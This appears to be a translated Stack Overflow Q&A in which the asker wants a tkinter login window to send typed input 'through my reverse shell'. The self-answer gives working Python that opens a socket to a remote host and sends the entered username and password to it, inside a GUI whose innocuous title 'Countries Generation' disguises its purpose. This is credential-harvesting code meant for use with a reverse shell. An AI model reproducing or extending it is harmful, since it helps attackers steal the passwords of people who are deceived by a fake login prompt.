python - 通过套接字从 tkinter 发送输入
问题描述
这是一个简单的 GUI 程序,我希望能够通过我的反向 shell 中的套接字发送用户输入,但我有点难过。任何帮助将不胜感激 :)
from tkinter import *
import tkinter.messagebox as box
def dialog1():
username=entry1.get()
password = entry2.get()
if (username == 'admin' and password == 'secret'):
box.showinfo('info','Correct Login')
else:
box.showinfo('info','Invalid Login')
window = Tk()
window.title('Countries Generation')
frame = Frame(window)
Label1 = Label(window,text = 'Username:')
Label1.pack(padx=15,pady= 5)
entry1 = Entry(window,bd =5)
entry1.pack(padx=15, pady=5)
Label2 = Label(window,text = 'Password: ')
Label2.pack(padx = 15,pady=6)
entry2 = Entry(window, bd=5)
entry2.pack(padx = 15,pady=7)
btn = Button(frame, text = 'Check Login',command = dialog1)
btn.pack(side = RIGHT , padx =5)
frame.pack(padx=100,pady = 19)
window.mainloop()
解决方案
是的,我自己回答了,很容易,我的大脑一定只是有片刻哈哈,对于其他想知道如何做到这一点的人来说,username.entry1.get() 和 password.entry2.get() 你把它发送过来像你通常一样的套接字基本上是一个变量:)
host = 'xxx.xxx.xx.x'
port = 5000
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
def dialog1():
username=entry1.get()
password = entry2.get()
if (username == 'admin' and password == 'secret'):
box.showinfo('info','Correct Login')
s.send(bytes(username,'utf8'))
s.send(bytes(password, 'utf8'))
else:
box.showinfo('info','Invalid Login')
推荐阅读
- java - 如何在 while 循环中使用字符串数组和扫描仪?
- c# - 将 Unity navmesh 多个代理移动到单点并停止相互推动
- flutter - Flutter:显示带有文本和冻结 UI 的简单 ProgressBar
- sql - 如何将从函数返回的用户定义表类型作为参数传递给另一个内联函数(没有'DECLARE')?
- python - 如何在 Python 中访问聚合函数值
- python - 为什么 xticks 没有出现在我的 Matplotlib 图上?
- javascript - 有时在 Vue.js 中不执行 Drop 事件
- java - 使用 JPA 存储地图
- c# - Blazor - 当子组件 onclick 事件发生时执行父组件的方法
- google-cloud-platform - 从 Springboot 到 BigQuery 便宜